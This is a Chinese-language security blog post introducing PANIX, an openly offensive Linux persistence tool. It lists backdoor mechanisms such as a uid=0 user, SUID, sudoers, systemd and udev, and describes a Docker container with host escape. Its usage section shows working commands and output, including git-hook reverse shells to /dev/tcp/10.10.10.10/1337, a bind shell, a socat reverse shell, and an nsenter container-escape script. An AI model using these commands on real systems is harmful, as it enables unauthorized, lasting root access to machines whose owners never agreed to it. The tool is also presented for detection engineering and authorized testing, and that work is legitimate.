PANIX:用于安全研究和渗透测试的高度可定制Linux持久性工具

2024-08-26 74 0

关于PANIX

PANIX是是一款高度可定制的 Linux 持久性工具,可用于安全研究、检测工程、渗透测试、CTF 等。

它优先考虑功能性而非隐身性,并且功能非常强大。PANIX 支持 Debian、Ubuntu 和 RHEL 等流行发行版,并且高度可定制以适应各种操作系统环境。PANIX 将与在野外观察到的最常见的 *nix 持久性机制保持同步。

功能介绍

PANIX 提供了一套多功能的功能用于模拟和研究 Linux 持久性机制:

功能

描述

Root

用户

任务持久化

任务持久化

授权密钥持久性

将公钥添加到授权密钥

后门用户

创建uid=0的后门用户

绑定 Shell

执行后台绑定 shell

后门功能

添加持久性功能

Cron Job 持久化

Cron 任务持久化

创建用户

创建新用户

Git 持久性

Git hook/pager 持久性

生成器持久性

Systemd 生成器持久性

Init.d后门

SysV Init(init.d)持久性

恶意包后门

DPKG/RPM 包持久性

Docker 容器后门

带主机逃逸的 Docker 容器

MOTD 后门

每日消息 (MOTD) 持久性

包管理器持久性

包管理器持久性(APT/YUM/DNF)

/etc/passwd 修改

直接将用户添加到/etc/passwd

密码更改

更改用户密码

RC.local后门

运行控制(rc.local)持久性

Shell 配置文件持久性

Shell 配置文件持久性

SSH 密钥持久性

SSH 密钥持久性

Sudoers 后门

Sudoers 持久性

SUID 后门

SUID 持久性

系统二进制后门

系统二进制包装以实现持久性

Systemd 服务持久性

Systemd 服务持久性

Udev 持久性

Udev(驱动程序)持久性

XDG 自动启动持久性

XDG 自动启动持久性

支持的操作系统

PANIX 为各种 Linux 发行版提供全面支持:

发行版

支持

已测试

Debian

在 Debian 11 和 12 上经过全面测试

Ubuntu

在 Ubuntu 22.04 上进行了全面测试

红帽企业版

在 RHEL 9 上进行了全面测试(MOTD 不可用)

CentOS

在 CentOS Stream 9、7 上进行了全面测试(MOTD 不可用)

Fedora

未经过全面测试

Arch Linux

未经过全面测试

OpenSUSE

未经过全面测试

工具安装

启动并运行 PANIX 非常简单,只需从【发布页面】下载脚本并执行它即可。

或者运行下列命令直接安装:

curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh | bash

除此之外,广大研究人员也可以手动完成工具的下载、安装和授权:

# 通过curl或wget下载

curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -o panix.sh

wget https://github.com/Aegrah/PANIX/releases/download/panix-v1.0.0/panix.sh -O panix.sh

# 给工具脚本提供可执行权限并执行脚本

chmod +x panix.sh

./panix.sh

执行脚本将显示root或user帮助菜单,具体取决于当前用户的权限:

工具使用

每个持久性机制都有一个单独的帮助菜单:

root@ubuntu2204:/home/ruben# ./panix.sh --udev --help

Usage: ./panix.sh --udev [OPTIONS]

--examples                   显示命令样例

--default                     使用默认配置

  --ip <ip>                    指定IP地址

  --port <port>                指定端口号

  --at | --cron | --systemd      指定要使用的持久性机制

--custom                     使用自定义配置

  --command <command>      指定自定义命令

  --path <path>               指定自定义路径

每个持久性机制还具有一个--examples参数,显示默认和自定义示例,帮助您制定适合您的命令:

root@ubuntu2204:/home/ruben# ./panix.sh --git --examples

Examples:

--default:

./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager

 

--custom:

./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook

 

./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"

只需执行以下命令即可设置 systemd 持久性:

root@ubuntu2204:/home/ruben# ./panix.sh --systemd --default --ip 10.10.10.10 --port 1337

Service file created successfully!

Timer file created successfully!

Created symlink /etc/systemd/system/timers.target.wants/dbus-org.freedesktop.resolved.timer → /usr/local/lib/systemd/system/dbus-org.freedesktop.resolved.timer.

[+] Systemd service persistence established!

设置持久性机制时,脚本将让您知道它是否有效,并且在需要信息来使用持久性机制的情况下,将提供其他信息。例如绑定 shell 机制:

root@ubuntu2204:/home/ruben# ./panix.sh --bind-shell --default --architecture x64

[+] Bind shell binary /tmp/bd64 created and executed in the background.

[+] The bind shell is listening on port 9001.

[+] To interact with it from a different system, use: nc -nv <IP> 9001

[+] Bind shell persistence established!

允许您与绑定 shell 进行交互:

❯ nc -nv 192.168.211.130 9001

(UNKNOWN) [192.168.211.130] 9001 (?) open

whoami

root

对于具有附加内置功能的机制也是如此,例如 Docker 持久性机制,具有内置的Root主机逃逸:

ruben@ubuntu2204:~$ sudo ./panix.sh --docker-container --ip 192.168.211.131 --port 330

[+] Building 10.4s (9/9) FINISHED                                                                                                                                            docker:default

 => [internal] load build definition from Dockerfile                                                                                                                                   0.0s

 => => transferring dockerfile: 722B                                                                                                                                                   0.0s

 => [internal] load metadata for docker.io/library/alpine:latest                                                                                                                       2.1s

 => [internal] load .dockerignore                                                                                                                                                      0.0s

 => => transferring context: 2B                                                                                                                                                        0.0s

 => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.8s

 => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.0s

 => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB                                                                                         0.0s

 => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B                                                                                             0.0s

 => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB                                                                                         0.0s

 => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB                                                                                         0.4s

 => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99                                                                                              0.2s

 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps                                                                                                                     4.4s

 => [3/5] RUN adduser -D lowprivuser                                                                                                                                                   0.6s

 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330"  0.8s

 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec  0.8s

 => exporting to image                                                                                                                                                                 0.6s

 => => exporting layers                                                                                                                                                                0.6s

 => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790                                                                                           0.0s

 => => naming to docker.io/library/malicious-container                                                                                                                                 0.0s

86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef

[+] Persistence through malicious Docker container complete.

[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.

下列命令展示了如何逃离容器并访问主机:

❯ nc -nvlp 330

listening on [any] 330 ...

connect to [192.168.211.131] from (UNKNOWN) [192.168.211.130] 43400

86ce6b00e872:/$ /usr/local/bin/escape.sh

/usr/local/bin/escape.sh

root@ubuntu2204:~#

PANIX 可以通过--revert命令清理大部分垃圾:

root@ubuntu2204:/home/ruben# ./panix.sh --revert

[*] Running as root...

[*] Cleaning Systemd persistence methods...

[+] Successfully cleaned persistence method Systemd

[*] Cleaning Cron persistence methods...

[+] Successfully cleaned persistence method Cron

...

[*] Cleaning Docker persistence methods...

[+] Successfully cleaned persistence method Docker

[*] Cleaning Malicious package persistence methods...

[+] Successfully cleaned persistence method Malicious package

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

PANIX:【GitHub传送门


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞
万字长文浅谈三高系统建设方法论和实践
你遇到过哪些奇葩面试题目;如何考察渗透测试与安全管理能力| FB甲方群话题讨论
Amoco:一款针对二进制源码的安全分析工具
CVE-2024-21096:MySQLDump提权漏洞分析

发布评论